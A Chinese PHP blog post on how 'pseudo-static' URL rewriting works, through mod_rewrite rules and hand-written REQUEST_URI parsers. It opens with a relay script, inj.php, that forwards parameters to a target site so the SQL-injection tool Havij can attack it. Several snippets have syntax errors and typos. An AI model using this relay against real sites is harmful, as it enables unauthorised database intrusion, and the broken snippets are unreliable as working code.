PHP 伪静态技术原理以及突破原理实现介绍


Posted in PHP onJuly 12, 2013

先说实现方法:
inj.php:

<?php 
set_time_limit(10); 
$id=$_GET["id"]; 
$id=str_replace(" ","%20",$id); 
$id=str_replace("=","%3D",$id); 
$url="http://www.xxx.com/index.php/library/more/id/$id.html"; 
$ch=curl_init(); 
curl_setopt($ch,CURLOPT_URL,"$url"); 
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//启用时将curl_init()获取的信息以文件流的形式返回,而不是直接输出 
curl_setopt($ch,CURLOPT_HEADER,0);//启用时会将头文件的信息作为数据流输出 
$output=curl_exec($ch); 
curl_close($ch); 
print_r($output); 
?>

用wamp搭建一个服务器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP伪静态实现方法一(利用Apache 服务器的功能)
1、检查Apache是否支持mod_rewrite
2、让Apache 支持.htaccess
3、建立.htaccess文件
4、规则:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL长啥样
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如说:www.xx.com/page-18.html
真实的URL如下:
action = page
id = 18
============================
PHP伪静态实现方法二(编码实现)
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) )) 
/* 
内层的strrchr出来:/test.php?id|1@action|2 
外层的strrchr出来:id|1@action|2 
内层的str_replace出来:把 / 号去掉,本例子 没有 
外层的str_replace出来:把 ?号去掉,本例子 没有 
*/ 
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString); 
/*把str变成以@为界限划分的数组:id|1 和 action|2*/ 
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr) 
{ 
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr); 
/* id => 1 和 action => 2*/ 
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1]; 
}

============================
PHP伪静态实现方法三(编码实现)
例子: localhost/php100/test.php/1/2
$filename = basename($_SERVER["SCRIPT_NAME"]); 
echo $_SERVER["SCRIPT_NAME"]; 
echo $filename; 
if(strtolower($filename) == 'test.php'){ 
if(!empty($_GET[id])){ 
$id=intval($_GET[id]); 
echo $id; 
$action = intval($_GET[action]); 
echo $action; 
}else{ 
$nav=$_SERVER["REQUEST_URI"]; 
$script=$_SERVER["SRCIPT_NAME"]; 
//这句话应该是把URL前面那段给搞掉。。剩下 "1/2"之类的。。 
$nav=ereg_replace("$script","",urldecode($nav)); 
echo $nav; 
$vars = explode("/",$nav); 
print_r($vars); 
$id=intval($vars[1]); 
$action=intval($vars[2]); 
} 
echo $id.'&'.$action; 
}

============================
PHP伪静态实现方法四(编码实现)
function mod_rewrite(){ 
global $_GET; 
$nav = $_SERVER["REQUEST_URI"]; 
$script_name = $_SERVER["SCRIPT_NAME"] 
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1); 
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html 
$vars=explode("/",$nav); 
print_r($vars); 
for($i=0;$i<count($vars);$i+=2) 
{ 
$_GET[$vars[$i]] = $vars[$i+1]; 
} 
return $_GET; 
}

============================
PHP伪静态实现方法五(编码实现)
例子:/1,100,8630.html
if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){ 
$gid =intval($arr_path[1]); //取得值1 
$sid =intval($arr_path[2]); //取得值100 
$softid =intval($arr_path[3]); //取得值8630 
} 
else 
echo "Path:Error!";

总结下:
(1)伪静态技术比较好突破,需要自己构造中转注入页面。
(2)伪静态技术原理都很简单,就是把原来的 index.php?id=1 这种形式的URL给替换成其它形式。
PHP 相关文章推荐
PHP+XML 制作简单的留言本 图文教程
Nov 02 PHP
PHP strtok()函数的优点分析
Mar 02 PHP
phpMyAdmin 链接表的附加功能尚未激活问题的解决方法(已测)
Mar 27 PHP
php正则表达式使用的详细介绍
Apr 27 PHP
PHP入门之常量简介和系统常量
May 12 PHP
PHP生成随机密码类分享
Jun 25 PHP
php+xml结合Ajax实现点赞功能完整实例
Jan 30 PHP
php实现网站顶踩功能的完整前端代码
Jul 19 PHP
利用PHP判断是否是连乘数字串的方法示例
Jul 03 PHP
PHP类与对象后期静态绑定操作实例详解
Dec 20 PHP
PHP 实现文件压缩解压操作的方法
Jun 14 PHP
PHP dirname功能及原理实例解析
Oct 28 PHP
php的$_FILES的临时储存文件与回收机制实测过程
Jul 12 #PHP
php图像处理函数大全(推荐收藏)
Jul 11 #PHP
PHP 获取远程文件大小的3种解决方法
Jul 11 #PHP
深入Nginx + PHP 缓存详解
Jul 11 #PHP
基于PHP中的常用函数回顾
Jul 11 #PHP
PHP 获取文件权限函数介绍
Jul 11 #PHP
浅析php学习的路线图
Jul 10 #PHP
You might like
如何使用FireFox插件FirePHP调试PHP
2013/07/23 PHP
推荐一本PHP程序猿都应该拜读的书
2014/12/31 PHP
PHP解耦的三重境界(浅谈服务容器)
2017/03/13 PHP
关于在IE下的一个安全BUG --可用于跟踪用户的系统鼠标位置
2013/04/17 Javascript
利用jquery.qrcode在页面上生成二维码且支持中文
2014/02/12 Javascript
Node.js文件操作详解
2014/08/16 Javascript
JS实现样式清新的横排下拉菜单效果
2015/10/09 Javascript
基于JS实现textarea中获取动态剩余字数的方法
2016/05/25 Javascript
BootStrap 智能表单实战系列(十)自动完成组件的支持
2016/06/13 Javascript
Bootstrap基本组件学习笔记之缩略图(13)
2016/12/08 Javascript
基于JavaScript实现的折半查找算法示例
2017/04/14 Javascript
JavaScript 基础表单验证示例(纯Js实现)
2017/07/20 Javascript
jQuery实现的上传图片本地预览效果简单示例
2018/03/29 jQuery
小试SVG之新手小白入门教程
2019/01/08 Javascript
Node配合WebSocket做多文件下载以及进度回传
2019/11/07 Javascript
微信小程序实现watch监听
2020/06/04 Javascript
用Nodejs实现在终端中炒股的实现
2020/10/18 NodeJs
python 算法 排序实现快速排序
2012/06/05 Python
Python中交换两个元素的实现方法
2018/06/29 Python
用Python shell简化开发
2018/08/08 Python
利用ImageAI库只需几行python代码实现目标检测
2019/08/09 Python
python实现简易学生信息管理系统
2020/04/05 Python
pytorch 实现将自己的图片数据处理成可以训练的图片类型
2020/01/08 Python
python实现梯度下降算法的实例详解
2020/08/17 Python
协程Python 中实现多任务耗资源最小的方式
2020/10/19 Python
python 多线程中join()的作用
2020/10/29 Python
css3的@media属性实现页面响应式布局示例代码
2014/02/10 HTML / CSS
纯CSS3制作的鼠标悬停时边框旋转
2017/01/03 HTML / CSS
设计师家具购买和委托在线市场:Viyet
2016/11/16 全球购物
美国按摩椅批发网站:Titan Chair
2018/12/27 全球购物
英国历史最悠久的DJ设备供应商:DJ Finance、DJ Warehouse、The DJ Shop
2019/09/04 全球购物
求职推荐信
2013/10/28 职场文书
报到证丢失证明
2014/01/11 职场文书
大学生实习证明范文(5篇)
2014/09/18 职场文书
2014购房个人委托书范本
2014/10/12 职场文书
2015秋季幼儿园开学通知
2015/07/16 职场文书